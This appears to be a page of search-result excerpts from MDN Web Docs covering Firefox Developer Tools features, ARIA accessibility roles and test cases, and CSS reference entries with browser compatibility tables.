...3.11ms. With only 16.7ms in our total budget, it's not surprising we are missing a consistently high frame rate. You can experiment with this: try removing the box shadow using the Page Inspector, and see how that affects paint time. But next, we'll see how using transform instead of margin eliminates those expensive paints entirely. Animating using transform Now switch the radio button in the
web page to "Use transform", and make a new recording. It will look something like this: Waterfall overview Compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. Frame rate Compared with the version that uses margin, this is looking pretty good. We're averaging nearly 60fps, and apart from one dip ...
Responsive Design Mode - Firefox Developer Tools
Toggling Responsive Design Mode There are three ways to toggle Responsive Design Mode: From the Firefox menu: Select Responsive Design Mode from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS). ...
... Toggling Responsive Design Mode There are three ways to toggle Responsive Design Mode: From the Firefox menu: Select Responsive Design Mode from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS). ...
...ere are other factors as well, including the pixel density of the display and whether it supports touch. Responsive Design Mode gives you a simple way to simulate these factors, to test how your
website will look and behave on different devices. Toggling Responsive Design Mode There are three ways to toggle Responsive Design Mode: From the Firefox menu: Select Responsive Design Mode from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS). From the Developer Tools toolbox: Press the Responsive Design Mode button in the Toolbox's toolbar: From the keyboard: Press Ctrl + Shift + M (or Cmd + Opt + M on macOS). Controlling Responsive Design Mode With Responsive Design Mode enabled, the content area for
web pages is set to the screen ...
Tips - Firefox Developer Tools
Settings: Choose between a light and a dark theme for the developer tools. Change the keyboard bindings to Vim, Emacs or Sublime Text if you're used to different shortcuts. Check or uncheck the different tools to enable or disable them. ...
...the element{} rule to lock the highlighter on the current element. Right-click any property and select "Show MDN Docs" to view the MDN docs for this property. Click on the filter icon () next to an overridden property to find which other property overrides it. Right-click on a name, value, or rule to copy anything from the name, the value, the declaration or the whole rule to your clipboard.
Web Console In all panels: Esc opens the split console; useful when debugging, or inspecting nodes In the command line: $0 references the currently selected node. $() is a shortcut to document.querySelector(). $$() returns an array with the results from document.querySelectorAll(). copy copies anything as a string. Right-click a node in the Inspector and click "Use in Console" to create ...
...age saves a screenshot to your downloads directory using the optional file name. If no filename is included, the file name will be in this format: Screen Shot date at time.png The --fullpage parameter is optional. If you include it, the screenshot will be of the whole page, not just the section visible in the browser windows. The file name will have -fullpage appended to it as well. See
Web Console Helpers for all parameters. In the console output: Click on the inspector icon () next to an element in the output to select it within the Inspector. Check "Enable persistent logs" in the settings to keep logged messages from before even after navigation. Check "Enable timestamps" in the settings to show timestamps besides the logged messages. Debugger Skip JavaScript librarie...
about:debugging - Firefox Developer Tools
The about:debugging page provides a single place from which you can attach the Firefox Developer Tools to a number of debugging targets. At the moment it supports three main sorts of targets: restartless add-ons, tabs, and workers. Opening the about:debugging page There are two ways to open about:debugging: Type about:debugging in the Firefox URL bar. In the Tools >
Web Developer menu, click Remote Debugging. When about:debugging opens, on the left-hand side, you'll see a sidebar with two options and information about your remote debugging setup: Setup Use the Setup tab to configure the connection to your remote device. This Firefox Provides information about temporary extensions you have loaded for debugging, extensions that are installed in Firefox, the tabs that you currentl...
...red Workers, and Other Workers. Whether internal extensions appear in the list on this page depends on the setting of the devtools.aboutdebugging.showHiddenAddons preference. If you need to see these extensions, navigate to about:config and make sure that the preference is set to true. Extensions Loading a temporary extension With the Load Temporary Add-on button you can temporarily load a
web extension from a directory on disk. Click the button, navigate to the directory containing the add-on and select its manifest file. The temporary extension is then displayed under the Temporary Extensions header. You don't have to package or sign the extension before loading it, and it stays installed until you restart Firefox. The major advantages of this method, compared with installing an ad...
...on, Extensions. For each one, you see something like the following: The Inspect button, and the Extension ID and Internal UUID fields are the same as for temporary extensions. Just as it does with temporarily loaded extensions, the link next to Manifest URL opens the loaded manifest in a new tab. Note: It's recommended that you use the Browser Toolbox, not the Add-on Debugger, for debugging
WebExtensions. See Debugging
WebExtensions for all the details. The Add-ons section in about:debugging lists all
web extensions that are currently installed. Next to each entry is a button labeled Inspect. Note: This list may include add-ons that came preinstalled with Firefox. If you click Inspect, the Add-on Debugger will start in a new tab. See the page on the Add-on Debugger for all the ...
ARIA Test Cases - Accessibility
NVDA - n/a - - Zoom (Leopard) pass n/a pass pass ZoomText - - - - Orca - - - - Separator (no examples yet) Expected AT Behavior: (MZ) The inclusion of this element should be controlled by the screen reader. If it does not indicate separators by default in the operating system, it should honor this for
web applications, too. If it does support separators, the same symbolism should be used as for other separators in speech and braille. JAWS - TBD. Markup used: Notes: Results: AT Firefox IE Opera Safari JAWS 9 - - n/a n/a JAWS 10 - - - - VoiceOver (Leopard) n/a n/a - fail Window-Eyes - - - -...
... It should still be possible to the document/browse/virtual mode back on Markup used: role="application" Notes: Results: AT Firefox IE Opera Safari JAWS 9 Fail Fail n/a n/a JAWS 10 Pass with slight problems in the menu bar (wrong order of events or missing ones, sometimes making JAWS believe it is still in a menu when the menu ha...
...tcases involve ARIA properties used to enhance HTML controls (as opposed to JavaScript-built widgets). autocomplete Dojo autocomplete Expected AT Behavior: Screen reader should announce the fact that this is a control supporting autocomplete. When suggestions appear, if the AT supports it elsewhere in the operating system (e. g. the Run dialog), suggestions should be supported inside the
web app as well. Screen magnifiers should indicate AutoCompletes as they do elsewhere in the operating system. Optional: for each character typed, screen readers may choose to indicate how many options are remaining in the autocomplete list (if that number has changed). Alternatively, screen readers could make a sound when there is only 1 autocomplete option remaining. Markup used: aria-autoco...
ARIA: contentinfo role - Accessibility
Using the <footer> element instead is recommended: <footer> <h2>Footer</h2> <!-- footer content --> </footer> Description The contentinfo role is a landmark used to identify a page footer. Landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. ...
...Using the <footer> element instead is recommended: <footer> <h2>Footer</h2> <!-- footer content --> </footer> Description The contentinfo role is a landmark used to identify a page footer. Landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. ...
... content embedded via <iframe> elements do not count towards this limit. Using the <footer> element will automatically communicate a section has a role of contentinfo. Developers should always prefer using the correct semantic HTML element over using ARIA, making sure to test for known issues in VoiceOver. Examples <body> <!-- other page content --> <div role="contentinfo"> <h2>MDN
Web Docs</h2> <ul> <li><a href="#">
Web Technologies</a></li> <li><a href="#">Learn
Web Development</a></li> <li><a href="#">About MDN</a></li> <li><a href="#">Feedback</a></li> </ul> <p>(C) 2005-2018 Mozilla and individual contributors. Content is available under <a href="#">these licenses</a>.</p> </div> </body> Accessibility concerns Use sparingly Landmark ...
ARIA: Navigation Role - Accessibility
The navigation landmark role is used to identify major groups of links used for navigating through a
website or page content. <div role="navigation" aria-label="Main"> <!-- list of links to main
website locations --> </div> This is a
website's main navigation. Description The navigation role is a landmark role. Landmark roles provide a way to identify the organization and structure of a
web page. By classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically. Screen readers use landmark roles to provide keyboard navigation to important sections of a page. ...
...If a page includes more than one navigation landmark, each should have a unique label. If two or more navigational landmark on a page have the same set of links, use the same label for each. It is preferable to use the HTML5 <nav> element to define a navigation landmark. ...
...Footer"> <!-- content --> </nav> Repeated landmarks If a navigation landmark role or <nav> element in a document is repeated in a document, and both landmarks have identical content, use the same label for each landmark. An example of this would be repeating the main navigation at the top and bottom of the page. <header> <nav id="main-nav" aria-label="Main"> <!-- list of links to main
website locations --> </nav> </header> ... <footer> <nav id="footer-nav" aria-label="Main"> <!-- list of links to main
website locations --> </nav> </footer> Redundant descriptions Screen readers will announce the type of role the landmark is. Because of this, you do not need to describe what the landmark is in its label. For example, a declaration of role="navigation" with an of aria-...
ARIA - Accessibility
It supplements HTML so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. For example, ARIA enables accessible navigation landmarks in HTML4, JavaScript widgets, form hints and error messages, live content updates, and more. ...
...-valuenow", percentComplete); } Note that ARIA was invented after HTML4, so does not validate in HTML4 or its XHTML variants. However, the accessibility gains it provides far outweigh any technical invalidity. In HTML5, all ARIA attributes validate. The new landmark elements (<main>, <header>, <nav> etc) have built-in ARIA roles, so there is no need to duplicate them. Support Like any other
web technology, there are varying degrees of support for ARIA. Support is based on the operating system and browser being used, as well as the kind of assistive technology interfacing with it. In addition, the version of the operating system, browser, and assistive technology are contributing factors. Older software versions may not support certain ARIA roles, have only partial support, or misreport ...
...e not an effective solution for testing full support, proxy assistive technology solutions aren't sufficient to fully guarantee functionality. Tutorials Introduction to ARIA A quick introduction to making dynamic content accessible with ARIA. See also the classic ARIA intro by Gez Lemon, from 2008. Videos of screen readers using ARIA See both real and simplified examples from around the
web, including "before" and "after" ARIA videos. Using ARIA A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities. Simple ARIA enhancements Enhancing page navigation with ARIA landmarks A nice intro to using ARIA landmarks to improve
web page navigation for screen reader users. See also, ARIA landmark impl...
Accessibility: What users can do to browse more safely - Accessibility
Taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions. Personalization and accessibility settings From the article, "Understanding Success Criterion 2.3.1: Three Flashes or Below Threshold" "Flashing can be caused by the display, the computer rendering the image or by the content being rendered. The author has no control of the first two. ...
...sers offer much power to their users; it's just a matter of knowing where to go. Using Firefox as an example, it explains that by changing the value the image.animation_mode from "normal" to "none", all animated images will be blocked. To reverse it, you will have to change the value back to "normal" Use browser extensions Gif Blocker For Chrome, GIF Blocker is an extension available at the
web store. Gif Scrubber Gif Scrubber is a chrome extension that allows you to control gifs like a video player. There is a Github repository for it at https://github.com/0ui/gif-scrubber Beeline Reader Beeline Reader has a browser extension that allows you to set up for grayscale and Dyslexi font, among other things Take advantage Operating System accessibility features Most operating systems...
...sitive Epilepsy, and uses it when feeling "seizure-y". Most Operating Systems have a way to let the user make an adjustment on the workstation. In the screenshot below, you can see an example of Windows 10 Accessibility Settings allowing for color filters to be selected. Grayscale is enabled when the color filters button is toggled "on" See Also Accessibilty Accessibility learning path
Web accessibility for seizures and physical reactions Color blindness Discussion: "What is the "grayscale" setting for in accessibility options?" Contributors Many, many thanks to Eric Eggert from Knowbility; for his discussions and huge help on this topic. ...
Accessibility and Spacial Patterns - Accessibility
ption do not take into account the effect of padding. For example, blue text on a gray background is easier to perceive if it is surrounded "locally" by black than by white. There is such a thing as "local" adaptation to colors. The bottom line: padding matters. Math Spatial reasoning affects Math learning; consequently, spatial relationships in how math is presented affects cognition. The
web developer can do something about this in the manner in which he displays math. Animation figures strongly in this arena. For example, "how" an object looks when it is rotated, from different angles, how they look sliced, and how they relate to each other in space all make a difference in an ability to understand Math in spatial terms. Braille Modern technology enalbes non-experts to print Br...
...s text written on a page. The nature of space can change depending upon what MIME type is being used, and its version. For example, borders on SVG can extend both inward and outward from its dimensions, or for newer versions of SVG, entirely outward from it, thus reducing the space around the SVG to enable perception. ...
...e depending upon what MIME type is being used, and its version. For example, borders on SVG can extend both inward and outward from its dimensions, or for newer versions of SVG, entirely outward from it, thus reducing the space around the SVG to enable perception. ...
Color contrast - Accessibility
is particularly beneficial to users with certain types of color blindness and other similar conditions, who experience low contrast, and have trouble differentiating between similar colors. This is because they don't see bright and dark areas as readily as those without such conditions, and therefore have trouble seeing edges, borders, and other details. It is good to have a cool design on your
website, but the design is worthless if your users can't read your content. Examples Let's have a look at some simple HTML and CSS code: <div class="good">Good contrast</div> <div class="bad">Bad contrast</div> div { /* General div styles here */ } .good { background-color: #fae6fa; } .bad { background-color: #400064; } Both pieces of text have their default black color. The "good" <div>...
...Make the color contrast as good as it can be within your design constraints -- ideally go for the AAA rating (see 1.4.6 below), but at least meet the AA rating (see 1.4.3 below). If you are including non-text content such as video or animation, you should follow 1.4.11 (again, see below). To check your contrast as you make yo...
...d colors that have good contrast. Make the color contrast as good as it can be within your design constraints -- ideally go for the AAA rating (see 1.4.6 below), but at least meet the AA rating (see 1.4.3 below). If you are including non-text content such as video or animation, you should follow 1.4.11 (again, see below). To check your contrast as you make your color choices, use a tool such as
WebAIM's Color Contrast Checker. You can also check color contrast on the fly using Firefox's Developer Tools -- see our Accessibility inspector guide, and in particular the section Check for accessibility issues. Try using it on the live examples in the description section. Related WCAG success criteria 1.4.3 Minimum contrast (AA) The color contrast between background and foreground content sh...
Text labels and names - Accessibility
There are a number of different types of problems in this category, found in different contexts, and each has its own solution. The different problems and solutions are discussed in the sections below. Use alt attribute to label area elements that have the href attribute In image maps, give each <area> element an alt attribute containing a name that describes what resources the areas links to. ...
...cal to the frame's title attribute. (This assumes that the enclosed document is under your control; if not, try to match the frame's title attribute to the document's title.) Some screen readers replace the contents of the title attribute with the contents of the enclosed document's <title>. It's safest and most accessible to provide the same title in both places. Example <iframe title="MDN
Web docs" width="300" height="200" src="https://developer.mozilla.org"> </iframe> Use alt attribute to label mglyph elements When writing equations with MathML, give each <mglyph> element an alt attribute containing a name that describes the symbol. Since mglyph elements are used for non-standard symbols without Unicode definitions, screen readers won't automatically be able to name ...
...It is a good practice to label a toolbar, even if there is only one per page. See also W3C ARIA toolbar example Related WCAG success criteria 1.1.1 Non-text Content (A) All non-text content that is presented to the user has a text alternat...
::cue-region - CSS: Cascading Style Sheets
This can be used to style captions and other cues in media with VTT tracks. ::cue-region { color: yellow; font-weight: bold; } The properties are applied to the entire set of cues as if they were a single unit. The only exception is that background and its shorthand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media. ...
... Candidate Recommendation Initial definition. ...
... Candidate Recommendation Initial definition. ...
::cue - CSS: Cascading Style Sheets
This can be used to style captions and other cues in media with VTT tracks. ::cue { color: yellow; font-weight: bold; } The properties are applied to the entire set of cues as if they were a single unit. The only exception is that background and its longhand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media. ...
... Candidate Recommendation In...
...tion-line text-decoration-style text-decoration-thickness text-shadow visibility white-space Examples Styling
WebVTT cues as white-on-black The following CSS sets the cue style so that the text is white and the background is a translucent black box. ::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } Specifications Specification Status Comment
WebVTT: The
Web Video Text Tracks FormatThe definition of '::cue' in that specification. Candidate Recommendation Initial definition. ...
:scope - CSS: Cascading Style Sheets
tors Level 4The definition of ':scope' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...d Disabled From version 20 until version 32 (exclusive): this feature is behind the layout.css.scope-pseudo.enabled preference (needs to be set to true). ...
...orAll()Chrome Full support 27Edge Full support 79Firefox Full support 32IE No support NoOpera Full support 15Safari Full support 7
WebView Android Full support <=37Chrome Android Full support 27Firefox Android Full support 32Opera Android Full support 15Safari iOS Full support 7Samsung Internet Android ...
@charset - CSS: Cascading Style Sheets
the style sheet. The @charset CSS at-rule. Use the character encoding defined by the referring document: the charset attribute of the <link> element. This method is obsoleted in HTML5 and must not be used. Assume that the document is UTF-8 Syntax @charset "UTF-8"; @charset "iso-8859-15"; where: charset Is a <string> denoting the character encoding to be used. It must be the name of a
web-safe character encoding defined in the IANA-registry, and must be double-quoted, following exactly one space character (U+0020), and immediately terminated with a semicolon. If several names are associated with an encoding, only the one marked with preferred must be used. Formal syntax @charset "<charset>"; Examples Valid and invalid charset declarations @charset "UTF-8"; /* Set the ...
...evision 1)The definition of '@charset' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 5.5Notes Full support 5.5Notes Notes From Internet Explorer 5.5 to IE 7 (inclusive), Internet Explorer supported an invalid syntax where the character encoding is not between single or double quotes.Opera Full support 9Safari Full support 4
WebView Android Full support 2Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 4Samsung Internet Android ...
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
The -moz-device-pixel-ratio Gecko-only CSS media feature can be used to apply styles based on the number of device pixels per CSS pixel. Do not use this feature. Use the resolution feature with the dppx unit instead. Note: This media feature is also implemented by
Webkit and by IE 11 for Windows Phone 8.1 as -
webkit-device-pixel-ratio. The min and max prefixes as implemented by Gecko are named min--moz-device-pixel-ratio and max--moz-device-pixel-ratio; but the same prefixes as implemented by
Webkit are named -
webkit-min-device-pixel-ratio and -
webkit-max-device-pixel-ratio. Syntax <number> The number of device pixels per CSS pixel. Media: media/visual Accepts min/max prefixes: yes Examples Basic compatibility example -moz-device-pixel-ratio may be used for compat...
...device-pixel-ratio; but the same prefixes as implemented by
Webkit are named -
webkit-min-device-pixel-ratio and -
webkit-max-device-pixel-ratio. Syntax <number> The number of device pixels per CSS pixel. Media: media/visual Accepts min/max prefixes: yes Examples Basic compatibility example -moz-device-pixel-ratio may be used for compatibility with Firefox older than 16, and alongside -
webkit-device-pixel-ratio for compatibility with
WebKit-based browsers that do not support dppx. ...
...it-max-device-pixel-ratio. Syntax <number> The number of device pixels per CSS pixel. Media: media/visual Accepts min/max prefixes: yes Examples Basic compatibility example -moz-device-pixel-ratio may be used for compatibility with Firefox older than 16, and alongside -
webkit-device-pixel-ratio for compatibility with
WebKit-based browsers that do not support dppx. Example: @media (-
webkit-min-device-pixel-ratio: 2), /*
Webkit-based browsers */ (min--moz-device-pixel-ratio: 2), /* Older Firefox browsers (prior to Firefox 16) */ (min-resolution: 2dppx), /* The standard way */ (min-resolution: 192dpi) /* dppx fallback */ Note: See this CSSWG article for compatibility good practices regarding resolution and dppx. Specifications ...
display-mode - CSS: Cascading Style Sheets
Both apply to the top-level browsing context and any child browsing contexts. The feature query applies regardless of whether a
web app manifest is present. Syntax The display-mode feature is specified as a keyword value chosen from the list below. ...
... CSS media feature can be used to test the display mode of an application. You can use it to provide a consistent user experience between launching a site from a URL and launching it from a desktop icon. This feature corresponds to the
Web app manifest's display member. Both apply to the top-level browsing context and any child browsing contexts. The feature query applies regardless of whether a
web app manifest is present. Syntax The display-mode feature is specified as a keyword value chosen from the list below. Display mode Description Fallback display mode fullscreen All of the available display area is used and no user agent chrome is shown. standalone standalone The application will look and feel like a standalone application. This can i...
...controlling navigation. The elements will vary by browser. browser browser The application opens in a conventional browser tab or new window, depending on the browser and platform. (none) Examples @media all and (display-mode: fullscreen) { body { margin: 0; border: 5px solid black; } } Specifications Specification Status Comment
Web App ManifestThe definition of 'display-mode' in that specification. Working Draft Initial definition. ...
Coordinate systems - CSS: Cascading Style Sheets
relative to a fixed point in the context. This fixed point is called the origin. The position is specified as the number of pixels offset from the origin along each dimension of the context. This guide describes the standard coordinate systems used by the CSS object model. These are generally only different in terms of where their origin is located. ...
...Note that this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin. ...
...y. The "inner" box is the one that we track events in and in which we show the mouse coordinates. .outer { width: 1000px; height: 200px; background-color: red; } .inner { position: relative; width: 500px; height: 150px; top: 25px; left: 100px; background-color: blue; color: white; cursor: crosshair; user-select: none; -moz-user-select: none; -ms-user-select: none; -
webkit-user-select: none; } .log { position: relative; width: 100%; text-align: center; } Result Here you can see the results in action. As you mouse in and around the blue box, watch the values of the mouse's X and Y coordinates change in the various coordinate systems in which you can obtain the values. Note also the effect of scrolling the example horizontally upon the values returned an...
CSS Containment - CSS: Cascading Style Sheets
For example a listing of article headlines and content, as in the mark-up below. ...
...For example a listing of article headlines and content, as in the mark-up below. ...
...ain property that each article is independent. The content value is shorthand for contain: layout paint. It tells the browser that the internal layout of the element is totally separate from the rest of the page, and that everything about the element is painted inside its bounds. Nothing can visibly overflow. This information is something that is usually known, and in fact quite obvious, to the
web developer creating the page. However browsers cannot guess at your intent and cannot assume that an article will be entirely self-contained. Therefore this property gives you a nice way to explain to the browser this fact, and allow it to make performance optimizations based on that knowledge. Key concepts and terminology This specification defines only one property, the contain property. The v...
Variable fonts guide - CSS: Cascading Style Sheets
will give you all you need to know to get you started using variable fonts. Warning: In order to use variable fonts on your operating system, you need to make sure that it is up to date. For example Linux OSes need the latest Linux Freetype version, and macOS prior to 10.13 does not support variable fonts. If your operating system is not up to date, you will not be able to use variable fonts in
web pages or the Firefox Developer Tools. Variable Fonts: what they are, and how they differ To better understand what's different about variable fonts, it is worth reviewing what non-variable ones are like and how they compare. Standard (or Static) fonts In the past, a typeface would be produced as a number of individual fonts, and each font would represent one specific width/weight/style combi...
...phic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays. For comparison, it is typical in a typographic system for a magazine to use 10-15 or more different weight and width combinations throughout the publication -- giving a much wider range of styles than currently typical on the
web (or indeed practical for performance reasons alone). A note about font families, weights, and variants You might notice that we have been talking about having a specific font file for every weight and style (i.e. bold and italic and bold italic), rather than relying upon the browser to synthesize them. The reason for this is that most typefaces have very specific designs for bolder weights and ...
...ut of the text or elements around it. This makes grade a useful axis of variation as it can be varied or animated without causing reflow of the text itself. font-variation-settings: 'GRAD' 88; The following live example's CSS can be edited to allow you to play with font grade values. Using a variable font: @font-face changes The syntax for loading variable fonts is very similar to any other
web font, with a few notable differences, which are provided via upgrades to the traditional @font-face syntax now available in modern browsers. The basic syntax is the same, but the font technology can be specified, and allowable ranges for descriptors like font-weight and font-stretch can be supplied, rather than named according to the font file being loaded. Example for a standard upright (Roman...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
Which CSS entities participate in the cascade Only CSS declarations, that is property/value pairs, participate in the cascade. ...
...ual style sheets for this purpose, while others simulate them in code, but the end result is the same. Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process,
Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs. Author stylesheets Author stylesheets are the most common type of style sheet. These are style sheets that define styles as part of the design of a given
web page or site. The author of the page defines the styles for the document usi...
...erties values to a known state before beginning to make alterations to suit their specific needs. Author stylesheets Author stylesheets are the most common type of style sheet. These are style sheets that define styles as part of the design of a given
web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the
website -- its theme. User stylesheets The user (or reader) of the
web site can choose to override styles in many browsers using a custom user stylesheet designed to tailor the experience to the user's wishes. Cascading order The cascading algorithm determines how to find the value to apply for each property for each document element. It first filters all the rules from the different sources t...
Privacy and the :visited selector - CSS: Cascading Style Sheets
Before about 2010, the CSS :visited selector allowed
websites to uncover a user's browsing history and figure out what sites the user had visited. This was done through window.getComputedStyle and other techniques. This process was quick to execute, and made it possible not only to determine where the user had been on the
web, but could also be used to guess a lot of information about the user's identity. To mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. ...
...s. This process was quick to execute, and made it possible not only to determine where the user had been on the
web, but could also be used to guess a lot of information about the user's identity. To mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. Little white lies To preserve users' privacy, Firefox and other browsers will lie to
web applications under certain circumstances: The window.getComputedStyle method, and similar functions such as element.querySelector, will always return values indicating that a user has never visited any of the links on a page. If you use a sibling selector such as :visited + span, the adjacent element (span in this example) will be styled as if the link were unvisited. In rare scenarios, if y...
...ite; /* The default value of background-color is `transparent`. You need to specify a different value, otherwise changes on :visited won't apply. */ } :visited { outline-color: orange; /* Visited links have an orange outline */ background-color: green; /* Visited links have a green background */ color: yellow; /* Visited links have yellow colored text */ } Impact on
web developers Overall, these restrictions shouldn't affect
web developers too significantly. They may, however, require the following changes to existing sites: Using background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links. Colors that are otherwise transparent will fail to appear if styled in a :visited se...
background-position-x - CSS: Cascading Style Sheets
pecification of longhand sub-properties of background-position to match longstanding implementations. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ition-xChrome Full support 1Edge Full support 12Firefox Full support 49IE Full support 6Opera Full support 15Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 49Opera Android Full support 18Safari iOS Full support 1Samsung Internet Android ...
...for offsets from any edge)Chrome No support NoEdge No support 12 -- 79Firefox Full support 49IE Full support 9Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 49Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
background-position-y - CSS: Cascading Style Sheets
pecification of longhand sub-properties of background-position to match longstanding implementations. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ition-yChrome Full support 1Edge Full support 12Firefox Full support 49IE Full support 6Opera Full support 15Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 49Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
...for offsets from any edge)Chrome No support NoEdge No support 12 -- 79Firefox Full support 49IE Full support 9Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 49Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
clear - CSS: Cascading Style Sheets
CSS Level 1The definition of 'clear' in that specification. Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...etclearChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
...and inline-endChrome No support NoEdge No support NoFirefox Full support 55IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 55Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
content - CSS: Cascading Style Sheets
not generated. normal Computes to none for the ::before and ::after pseudo-elements. <string> Specifies the "alt text" for the element. This value can be any number of text characters. Non-Latin characters must be encoded using their Unicode escape sequences: for example, \000A9 represents the copyright symbol. <image> An <image>, denoted by the <url> or <gradient> data type, or part of the
webpage, defined by the element() function, denoting the content to display. <counter>() The value of a CSS counter, generally a number. It can be displayed using either the counter() or counters() function. The counter() function has two forms: 'counter(name)' or 'counter(name, style)'. The generated text is the value of the innermost counter of the given name in scope at the given pseudo-eleme...
...<length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> Examples Headings and quotes This example inserts quotation marks around quotes, and adds the word "Chapter" before headings. HTML <h1>5</h1> <p>According to Sir Tim Berners-Lee, <q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet">I was lucky enough to invent the
Web at the time when the Internet already existed - and had for a decade and a half.</q> We must understand that there is nothing fundamentally wrong with building on the contributions of others. </p> <h1>6</h1> <p>According to the Mozilla Manifesto, <q cite="http://www.mozilla.org/about/manifesto/">Individuals must have the ability to shape the Internet and their own experiences o...
...d a half.</q> We must understand that there is nothing fundamentally wrong with building on the contributions of others. </p> <h1>6</h1> <p>According to the Mozilla Manifesto, <q cite="http://www.mozilla.org/about/manifesto/">Individuals must have the ability to shape the Internet and their own experiences on the Internet.</q> Therefore, we can infer that contributing to the open
web can protect our own individual experiences on it. </p> CSS q { color: blue; } q::before { content: open-quote; } q::after { content: close-quote; } h1::before { content: "Chapter "; /* The trailing space creates separation between the added content and the rest of the content */ } Result Image combined with text This exam...
font-smooth - CSS: Cascading Style Sheets
It only works on Mac OS X/macOS. auto - Let the browser decide (Uses subpixel anti-aliasing when available; this is the default) none - Turn font smoothing off; display text with jagged sharp edges. ...
...It only works on Mac OS X/macOS. ...
...nt-smoothing on macOS. In both cases the smoothed font should look slightly lighter in weight. For those of you not on a macOS system, here is a screenshot (the live version appears later on): HTML <p>Without font smoothing</p> <p class="smoothed">With font smoothing</p> CSS html { background-color: black; color: white; font-size: 3rem; } p { text-align: center; } .smoothed { -
webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } Result Specifications Not part of any standard. ...
image() - CSS: Cascading Style Sheets
d. Image fragments One key difference between url() and image() is the ability to add a media fragment identifier -- a starting point along the x and y axis, along with a width and height -- onto the image source to display only a section of the source image. The section of the image defined in the parameter becomes a standalone image. The syntax looks like so: background-image: image('myimage.
webp#xywh=0,20,40,60'); The background image of the element will be the portion of the image myImage.
webp that starts at the coordinate 0px, 20px (the top left hand corner) and is 40px wide and 60px tall. The #xywh=#,#,#,# media fragment syntax takes four comma separated numeric values. The first two represent the X and Y coordates for the starting point of the box that will be created. The third v...
...nderstanding WCAG 2.0 This feature can help improve accessibility by providing a fallback color when an image fails to load. While this can and should be done by including a background-color on every background image, the CSS image() function allows adding allows only including background colors should an image fail to load, which means you can add a fall back color should a transparent PNG/GIF/
WebP not load. Examples Directionally-sensitive images <ul> <li dir="ltr">Bullet is a right facing arrow on the left</li> <li dir="rtl">Bullet is the same arrow, flipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } In the left-to-right list items -- those with dir="ltr" set on the element itself or inheriting the ...
...of the background image <div class="box">Hover over me. What cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } When the user hovers over the box, the cursor will change to display the 16x16 px section of the sprite image, starting at x=32 and y=64. Providing fallback images .help::before { content: image("try.
webp", "try.svg", "try.gif"); } In this example, the browser will display an image as generated content before the content of the element with the class of help. The image displayed will be a
WebP image, if
WebP is supported. If not, the SVG example will be shown. If SVG is not supported, the GIF version will display. Putting color on top of a background image .quarterlogo {height: 200px; wid...
letter-spacing - CSS: Cascading Style Sheets
l 1The definition of 'letter-spacing' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...spacingChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
